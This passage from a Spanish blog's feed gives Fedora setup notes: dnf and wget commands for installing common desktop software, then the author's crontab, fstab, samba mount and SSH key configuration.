&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="mark9">Pandoc&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf install pandoc texlive texlive texlive-latex texlive-xetex texlive-xetex-def &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>texlive-collection-latexrecommended texlive-collection-xetex texlive-collection-latex
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark10">Spotify&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf config-manager --add-repo&lt;span class="o">=&lt;/span>http://negativo17.org/repos/fedora-spotify.repo
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf install spotify-client
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark11">Atom&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">programa&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;atom.x86_64.rpm&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">wget -O &lt;span class="nv">$programa&lt;/span> https://atom.io/download/rpm
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf -y install &lt;span class="nv">$programa&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">rm &lt;span class="nv">$programa&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark12">Visual Studio Code&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo rpm --import https://packages.microsoft.com/keys/microsoft.asc
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo sh -c &lt;span class="s1">&amp;#39;echo -e &amp;#34;[code]\nname=Visual Studio Code\nbaseurl=https://packages.microsoft.com/yumrepos/vscode\nenabled=1\ngpgcheck=1\ngpgkey=https://packages.microsoft.com/keys/microsoft.asc&amp;#34; &amp;gt; /etc/yum.repos.d/vscode.repo&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">dnf check-update
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf install code
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark13">Skype&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf install https://go.skype.com/skypeforlinux-64.rpm
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark14">Teamviewer&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf install https://download.teamviewer.com/download/linux/teamviewer.x86_64.rpm
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark15">Dropbox&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf install https://www.dropbox.com/download?dl&lt;span class="o">=&lt;/span>packages/fedora/nautilus-dropbox-2015.10.28-1.fedora.x86_64.rpm
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark16">Gitkraken&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">programa&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;gitkraken-amd64.tar.gz&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">wget -O &lt;span class="nv">$programa&lt;/span> https://release.gitkraken.com/linux/gitkraken-amd64.tar.gz
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mv &lt;span class="nv">$programa&lt;/span> ~/Programas/ &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> ~/Programas/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tar -xvf &lt;span class="nv">$programa&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> rm &lt;span class="nv">$programa&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> -
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark17">Pycharm Community&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">programa&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;pycharm-community-2017.1.tar.gz&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">wget -O &lt;span class="nv">$programa&lt;/span> https://download.jetbrains.com/python/pycharm-community-2017.1.tar.gz
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mv &lt;span class="nv">$programa&lt;/span> ~/Programas/ &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> ~/Programas/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tar -xvf &lt;span class="nv">$programa&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> rm &lt;span class="nv">$programa&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> -
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark18">Telegram&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">programa&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;telegram.tar.xz&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">wget -O &lt;span class="nv">$programa&lt;/span> https://tdesktop.com/linux
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mv &lt;span class="nv">$programa&lt;/span> ~/Programas/ &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> ~/Programas/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tar -xvf &lt;span class="nv">$programa&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> rm &lt;span class="nv">$programa&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> -
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark19">Eclipse&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">programa&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;eclipse-inst-linux64.tar.gz&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">wget -O &lt;span class="nv">$programa&lt;/span> http://mirror.ibcp.fr/pub/eclipse//oomph/epp/neon/R2a/eclipse-inst-linux64.tar.gz
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mv &lt;span class="nv">$programa&lt;/span> ~/Programas/ &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> ~/Programas/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tar -xvf &lt;span class="nv">$programa&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> rm &lt;span class="nv">$programa&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> -
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark21">Google Chrome&lt;/h2>
&lt;p>Descargar RPM de aqui: &lt;a class="link" href="https://www.google.com/chrome/browser/desktop/index.html" target="_blank" rel="noopener"
>url&lt;/a>&lt;/p>
&lt;h2 id="mark22">Google Music&lt;/h2>
&lt;p>Descargar RPM de aqui: &lt;a class="link" href="https://www.googleplaymusicdesktopplayer.com/#!" target="_blank" rel="noopener"
>url&lt;/a>&lt;/p>
&lt;h2 id="mark23">system-config-samba&lt;/h2>
&lt;p>Descargar RPM de aqui: &lt;a class="link" href="https://rpmfind.net/linux/rpm2html/search.php?query=system-config-samba" target="_blank" rel="noopener"
>url&lt;/a>&lt;/p>
&lt;h2 id="mark24">Instalar drivers nvdia&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">https://www.if-not-true-then-false.com/2015/fedora-nvidia-guide/
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Fuente: &lt;a class="link" href="http://unix.stackexchange.com/questions/251629/how-to-install-nvidia-proprietary-drivers-on-fedora-23" target="_blank" rel="noopener"
>url&lt;/a>&lt;/p>
&lt;h2 id="mark25">Peek para grabar la pantalla y crear gif/mp4&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf config-manager --add-repo http://download.opensuse.org/repositories/home:/Bajoja/Fedora_25/home:Bajoja.repo
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf install peek
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark26">Sublime Text 3&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo rpm -v --import https://download.sublimetext.com/sublimehq-rpm-pub.gpg
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf config-manager --add-repo https://download.sublimetext.com/rpm/stable/x86_64/sublime-text.repo
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf install sublime-text
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Url &lt;a class="link" href="https://github.com/phw/peek#fedora" target="_blank" rel="noopener"
>gitgub&lt;/a>&lt;/p></description></item><item><title>Primeros pasos Fedora 27 KDE Parte II</title><link>https://www.procamora.com/p/primeros-pasos-fedora-27-parte-ii/</link><pubDate>Thu, 30 Mar 2017 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/primeros-pasos-fedora-27-parte-ii/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Primeros pasos Fedora 27 KDE Parte II" />&lt;h1 id="introducción">Introducción&lt;/h1>
&lt;p>En esta segunda parte, haré una configuración del entorno de trabajo (fstab, crontab, .ssh, etc) y den entorno gráfico&lt;/p>
&lt;ul>
&lt;li>&lt;a class="link" href="#header0" >Ficheros&lt;/a>
&lt;ul>
&lt;li>&lt;a class="link" href="#mark0" >Fichero crontab&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark1" >Fichero fstab&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark2" >Clave privada&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a class="link" href="#header1" >Entorno grafico&lt;/a>&lt;/li>
&lt;/ul>
&lt;h1 id="header0">Configuración de ficheros&lt;/h1>
&lt;h2 id="mark0">Fichero crontab&lt;/h2>
&lt;p>&lt;code>vim /etc/crontab&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">SHELL&lt;/span>&lt;span class="o">=&lt;/span>/bin/bash
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">PATH&lt;/span>&lt;span class="o">=&lt;/span>/sbin:/bin:/usr/sbin:/usr/bin
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">MAILTO&lt;/span>&lt;span class="o">=&lt;/span>root
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># For details see man 4 crontabs&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Example of job definition:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># .---------------- minute (0 - 59)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># | .------------- hour (0 - 23)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># | | .---------- day of month (1 - 31)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># | | | .------- month (1 - 12) OR jan,feb,mar,apr ...&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># | | | | |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># * * * * * user-name command to be executed&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 0 * * * * procamora cd /home/procamora/ &amp;amp;&amp;amp; ./rsync_samba.sh &amp;gt;/tmp/rsync.log 2&amp;gt;&amp;amp;1 &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 0 */2 * * * procamora cd /home/procamora/BoxCryptor/ &amp;amp;&amp;amp; ./rsync_i7.sh &amp;gt;/tmp/rsync_gdrive.log 2&amp;gt;&amp;amp;1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="m">0&lt;/span> 22 * * * procamora python3 /home/procamora/scripts/backup.py i7_rsync.sh &amp;gt;&amp;gt; /tmp/rsync_gdrive.log 2&amp;gt;&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="m">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">*/7 * * * * procamora &lt;span class="nb">cd&lt;/span> /home/procamora/Documentos/Wiki-Personal/ &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> bash pushgit.sh &amp;gt;&amp;gt; /tmp/wiki.log 2&amp;gt;&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="m">1&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark1">Fichero fstab&lt;/h2>
&lt;p>&lt;code>vim /etc/fstab&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># /etc/fstab&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Created by anaconda on Wed Mar 29 21:50:12 2017&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Accessible filesystems, by reference, are maintained under &amp;#39;/dev/disk&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Particiones por defecto&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">UUID&lt;/span>&lt;span class="o">=&lt;/span>9c64fe32-84c5-4954 / ext4 defaults,relatime &lt;span class="m">1&lt;/span> &lt;span class="m">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">UUID&lt;/span>&lt;span class="o">=&lt;/span>659ee856-118a-433b /boot ext4 defaults,relatime &lt;span class="m">1&lt;/span> &lt;span class="m">2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">UUID&lt;/span>&lt;span class="o">=&lt;/span>F6DB-090A /boot/efi vfat &lt;span class="nv">umask&lt;/span>&lt;span class="o">=&lt;/span>0077,shortname&lt;span class="o">=&lt;/span>winnt &lt;span class="m">0&lt;/span> &lt;span class="m">2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">UUID&lt;/span>&lt;span class="o">=&lt;/span>7f4fc31b-e92d-4d31 /home ext4 defaults,relatime &lt;span class="m">1&lt;/span> &lt;span class="m">2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">/dev/mapper/fedora-swap swap swap defaults &lt;span class="m">0&lt;/span> &lt;span class="m">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Disco NTFS con todos los permisos + posibilidad de usar chmod&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">UUID&lt;/span>&lt;span class="o">=&lt;/span>EE3A29F53A29BC09 /mnt/WD_BLACK ntfs-3g permissions,locale&lt;span class="o">=&lt;/span>es_ES.utf8 &lt;span class="m">0&lt;/span> &lt;span class="m">2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Disco de red montado por samba&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">//192.168.1.71/DiscoUSB /mnt/DescargasPi cifs &lt;span class="nv">credentials&lt;/span>&lt;span class="o">=&lt;/span>/home/procamora/.smbcredentials,iocharset&lt;span class="o">=&lt;/span>utf8,sec&lt;span class="o">=&lt;/span>ntlm &lt;span class="m">0&lt;/span> &lt;span class="m">0&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;code>vim /home/procamora/.smbcredentials&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#username=xxxxx&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#password=xxxxx&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark2">Clave privada&lt;/h2>
&lt;p>COnfiguraremos tanto la clave privada para conectarnos a otros equipos sin necesidad de usar contraseña como la clave publica para que otros de nuestros equipos se conecten a nosotros con nuestra clave privada&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">mkdir -p ~/.ssh
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">touch ~/.ssh/OpenSSH
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">vim ~/.ssh/OpenSSH &lt;span class="c1"># guardamos el contenido de la clave privada&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">chmod &lt;span class="m">600&lt;/span> ~/.ssh/OpenSSH &lt;span class="c1"># le quitamos los permisos necesarios&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ssh-add ~/.ssh/OpenSSH &lt;span class="c1"># ponemos la contraseña y ya tenemos cargada la clave&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">vim ~/.ssh/authorized_keys &lt;span class="c1"># guardamos el contenido de la clave publica&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">chmod &lt;span class="m">600&lt;/span> ~/.ssh/authorized_keys &lt;span class="c1"># le quitamos los permisos necesarios&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">chmod &lt;span class="m">700&lt;/span> ~/.ssh
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark3">Fichero hosts&lt;/h2>
&lt;p>&lt;code>vim /etc/hosts&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
